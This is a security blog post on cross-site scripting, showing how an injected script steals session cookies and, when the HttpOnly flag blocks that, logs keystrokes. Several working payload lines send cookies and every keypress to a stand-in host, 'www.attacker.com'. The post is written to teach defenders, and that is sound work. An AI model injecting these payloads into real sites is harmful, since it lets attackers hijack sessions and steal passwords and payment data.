Video Screencast Help
Protect Your POS Environment Against Retail Data Breaches. Learn More.
Security Community Blog

Getting Sassy With XSS Part I – Keystroke Logging

Created: 07 Aug 2012 • Updated: 11 Nov 2013 • 1 comment
Vince Kornacki's picture
+6 6 Votes
Login to vote

One of the main targets of cross-site scripting (XSS) vulnerabilities is the session identifier cookie used to authenticate the user after successful authentication. Compromise of the session identifier cookie allows the attacker to impersonate the victim within the application for the duration of the session (i.e., until the user explicitly clicks "logout" or the session is implicitly timed out on the server). The session identifier cookie is typically compromised through the "document.cookie" DOM object. For example, the attacker can trigger the application to "phone home" with the compromised session identifier cookie with the following JavaScript code:
 
new Image().src='http://www.attacker.com/log.jsp?data='+document.cookie;
 
The server "www.attacker.com" is a server controlled by the attacker and the script "log.jsp" simply logs the submitted "data" value. This malicious JavaScript code is injected into a parameter that is vulnerable to XSS:
 
http://www.application.com/vulnerablePage.jsp?vulnerableParameter=new Image().src ='http://www.attacker.com/log.jsp?data='+document.cookie;
 
Note that for the sake of simplicity this URL is not encoded. The injected XSS executes within the context of the browser, and as Emeril would say…BAM! The attacker has now compromised the victim's session. Life is good. Until the "HttpOnly" flag saves the day, that is. The "HttpOnly" is an optional cookie flag that prevents JavaScript from accessing cookie contents, and is specified when the session identifier cookie is set:
 
Set-Cookie: JSESSIONID="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; HttpOnly;
 
Obviously the "Secure" flag should also be set and the session identifier cookie scope should be properly restricted, but those are stories for another day. The "HttpOnly" flag prevents JavaScript from accessing cookie contents, and therefore prevents the attacker from compromising the session cookie. The XSS vulnerability is now worthless. Or is it?
 
XSS can be exploited in other ways. For example, the attacker can log all keystrokes entered within the vulnerable application page by injecting the following JavaScript code:
 
document.onkeypress = function logKey(k) { new Image().src='http://www.attacker.com/log.jsp?data='+k.which; }
 
The "onkeypress" event is triggered every time the victim presses a key, so every keystroke within the vulnerable application page is transmitted to the attacker! BAM! You can try this within your browser by copying and pasting the following content into a local file:
 
<html>
<body>
<script>
document.onkeypress = function logKey(k) { alert(k.which + " = " + String.fromCharCode(k.which)); }
</script>
<form>
Enter some text here:
<input type="text" />
</form>
</body>
</html>
 
In this case the JavaScript code is a modified version of the attack code that pops an alert box including the ASCII value of the pressed key ("k.which") and the character representation of that ASCII value ("String.fromCharCode(k.which)"). Depending on the data handled by the vulnerable application page, compromised data may include usernames, passwords, shipping addresses, and billing information including PCI data. Contrary to popular belief, the HTTPOnly flag is not an impenetrable shield; it is merely another obstacle within a sound defense-in-depth strategy. In this case XSS keystroke logging can be utilized to compromise sensitive data within the vulnerable application. BAM!

Blog Entry Filed Under:

Comments 1 CommentJump to latest comment

Christopher.Emerson's picture

Nice!

Having these code samples/PoCs readily available will allow for much more effective conversations with application stake holders!

-4
Login to vote